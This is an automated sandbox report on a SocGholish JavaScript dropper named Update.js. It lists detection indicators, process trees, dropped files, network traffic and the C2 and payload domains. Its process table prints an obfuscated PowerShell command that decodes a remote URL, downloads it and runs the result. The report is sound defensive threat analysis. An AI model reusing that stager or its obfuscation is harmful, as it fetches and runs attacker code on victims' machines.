File name:

Update.js

Full analysis: https://app.any.run/tasks/51acb3f5-cd71-43a6-8803-5b9ea5423591
Verdict: Malicious activity
Analysis date: January 28, 2025, 04:26:35
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
socgholish
Indicators:
MIME: application/javascript
File info: JavaScript source, ASCII text, with very long lines (4084), with no line terminators
MD5:

E61151E2C76968EC982626CCA6D8CE8B

SHA1:

4EADD75D22BA5F405E5E9CA12185890B98496641

SHA256:

166D3FCEEC62DB1A06275C691D6F724577CB97226089AB710CAC366EBA6323A8

SSDEEP:

48:vQZIBrVKo8GzN+VHjGpmhAuOuSiUQ6a78KcJJWC4Oy07PqQ2xBPptcLAB2oDfCJy:YZI9VK5UM8Kuz427yrPpgAB24C31W

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Connects to the CnC server

      • svchost.exe (PID: 2192)
      • wscript.exe (PID: 5432)

    • SOCGHOLISH has been detected (SURICATA)

      • svchost.exe (PID: 2192)
      • wscript.exe (PID: 5432)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 5432)

    • Opens an HTTP connection (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses environment variables (SCRIPT)

      • wscript.exe (PID: 5432)

    • Sends HTTP request (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses information about the status of the installed antivirus(Win32_AntivirusProduct) via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Creates internet connection object (SCRIPT)

      • wscript.exe (PID: 5432)

    • Gets path to any of the special folders (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses name of a computer manufacturer via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses BIOS(Win32_BIOS, may evade sandboxes) via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

  • SUSPICIOUS

    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 2192)
      • wscript.exe (PID: 5432)

    • Adds, changes, or deletes HTTP request header (SCRIPT)

      • wscript.exe (PID: 5432)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses current user name via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses antivirus product name via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses WMI object display name (SCRIPT)

      • wscript.exe (PID: 5432)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 5432)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 5432)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses OperatingSystem(Win32_OperatingSystem) via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses computer name via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Accesses ComputerSystem(Win32_ComputerSystem) via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 5432)

    • Access Product Name via WMI (SCRIPT)

      • wscript.exe (PID: 5432)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 5432)

  • INFO

    • Checks proxy server information

      • wscript.exe (PID: 5432)
      • powershell.exe (PID: 6864)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6864)

    • Disables trace logs

      • powershell.exe (PID: 6864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
138
Monitored processes
6
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #SOCGHOLISH wscript.exe #SOCGHOLISH svchost.exe powershell.exe conhost.exe no specs ucpdmgr.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3640\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—UCPDMgr.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5432"C:\Windows\System32\WScript.exe" C:\Users\admin\Downloads\Update.jsC:\Windows\System32\wscript.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6776"C:\WINDOWS\system32\UCPDMgr.exe"C:\Windows\System32\UCPDMgr.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
User Choice Protection Manager
Exit code:
0
Version:
1.0.0.414301
Modules
Images
c:\windows\system32\ucpdmgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
6864"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $zmasaa='ur';new-alias printout c$($zmasaa)l;$zmzjph=(10025,10037,10037,10033,9979,9968,9968,10023,10038,10019,10038,10043,10019,10039,10042,9971,9972,10031,10031,10031,9967,10037,10032,10033,9968,10023,9970,9974,9967,10036,10039,10024);foreach($lculwx in $zmzjph){$tckvaj=$tckvaj+[char]($lculwx-9921);};$shlvrc[2]=$tckvaj;.$([char](6123-6018)+'e'+'x')(printout -useb $tckvaj)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6872\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
6 645
Read events
6 644
Write events
1
Delete events
0

Modification events

(PID) Process:(5432) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
BC80130000000000
Executable files
0
Suspicious files
7
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
5432wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_89854CA6A0F0936A4D2ECA78845CEA25binary
MD5:60038E19AB00AA869362081D09790683
SHA256:2C4B8764F78A013EAF58F04F8E4AFD6B0474BC3AD841787DF01198C0DD440674
5432wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_89854CA6A0F0936A4D2ECA78845CEA25binary
MD5:5AF7F1DF00F02E9320A416F3142584CA
SHA256:DB57F857989C169DB6654A3614D38957C49C63DA8C14218049F1C9FC731A2F34
5432wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D3B0BF27AD818748B8193406DA5AB482binary
MD5:A9EE8F19A9D2A0B47C4EC1086996A01B
SHA256:5EE3D2F323F6BD4D7A118D5B7A8067D1330A522CBA5F6E7037E46FE96B707FE3
6864powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:80421FD9157AFE7982E34A31B3FA2E89
SHA256:962DE34B8AFB0C37B288F11B9A4192AD2C0F2F3C6C58EA77A4D97C8507E9CFA7
5432wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D3B0BF27AD818748B8193406DA5AB482binary
MD5:D397D104C44E76D69B000F6AC2F19978
SHA256:162365B658D508CDE42304739E35A44FE01ACE2ACF3622D52D0AFD465FB0754E
6864powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_oadlk2mj.pqo.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5432wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D0E1C4B6144E7ECAB3F020E4A19EFC29_03D1B482EE3032A122274428715A4E19binary
MD5:45C085E8FB9D9B190A287C92D7A3ABDD
SHA256:A88851B536046E361C34131B91F4078CCED9704A876B6E09C79450A173028601
6864powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xh3o1ikd.x2d.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5432wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D0E1C4B6144E7ECAB3F020E4A19EFC29_03D1B482EE3032A122274428715A4E19binary
MD5:9DCBA63775DC18FA78F0D081AF7C0E8E
SHA256:8056F5F76D491F712B87C463549CA1126A0DF50A3BD5BD9849424AEA8B20FA8E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
50
DNS requests
24
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5432
wscript.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSr83eyJy3njhjVpn5bEpfc6MXawQQUOuEJhtTPGcKWdnRJdtzgNcZjY5oCECO3bePBuysaUZYeCOq3ZOg%3D
unknown
—
—
whitelisted
5432
wscript.exe
GET
200
104.18.38.233:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEFZnHQTqT5lMbxCBR1nSdZQ%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6864
powershell.exe
GET
200
64.52.80.229:80
http://fubuzbvy23nnn.top/f15.svg
unknown
—
—
unknown
4516
backgroundTaskHost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
5432
wscript.exe
GET
200
104.18.38.233:80
http://zerossl.ocsp.sectigo.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQzH%2F4%2F%2FQuEFihPlI1WwH4Dktj2TQQUD2vmS845R672fpAeefAwkZLIX6MCEHghWnh2T4aWZ1Jwa8MEEKY%3D
unknown
—
—
whitelisted
5208
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5208
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
716
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5064
SearchApp.exe
2.23.227.208:443
www.bing.com
Ooredoo Q.S.C.
QA
whitelisted
5432
wscript.exe
194.135.104.251:443
gemini.1stpagegold.com
BAXET-GROUP
US
unknown
5432
wscript.exe
104.18.38.233:80
ocsp.comodoca.com
CLOUDFLARENET
—
whitelisted
1076
svchost.exe
184.30.18.9:443
go.microsoft.com
AKAMAI-AS
DE
whitelisted
5064
SearchApp.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
1176
svchost.exe
40.126.32.74:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.142
whitelisted
www.bing.com
  • 2.23.227.208
  • 2.23.227.215
whitelisted
gemini.1stpagegold.com
  • 194.135.104.251
unknown
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.usertrust.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
zerossl.ocsp.sectigo.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
go.microsoft.com
  • 184.30.18.9
whitelisted
ocsp.digicert.com
  • 184.30.131.245
  • 2.23.77.188
whitelisted
login.live.com
  • 40.126.32.74
  • 40.126.32.136
  • 40.126.32.134
  • 40.126.32.140
  • 20.190.160.20
  • 40.126.32.68
  • 20.190.160.22
  • 20.190.160.17
whitelisted
fubuzbvy23nnn.top
  • 64.52.80.229
unknown

Threats

PID
Process
Class
Message
2192
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE SocGholish CnC Domain in DNS Lookup (gemini .1stpagegold .com)
5432
wscript.exe
Domain Observed Used for C2 Detected
ET MALWARE SocGholish CnC Domain in TLS SNI (gemini .1stpagegold .com)
5432
wscript.exe
Misc activity
ET INFO Observed ZeroSSL SSL/TLS Certificate
2192
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
6864
powershell.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
6864
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Update.js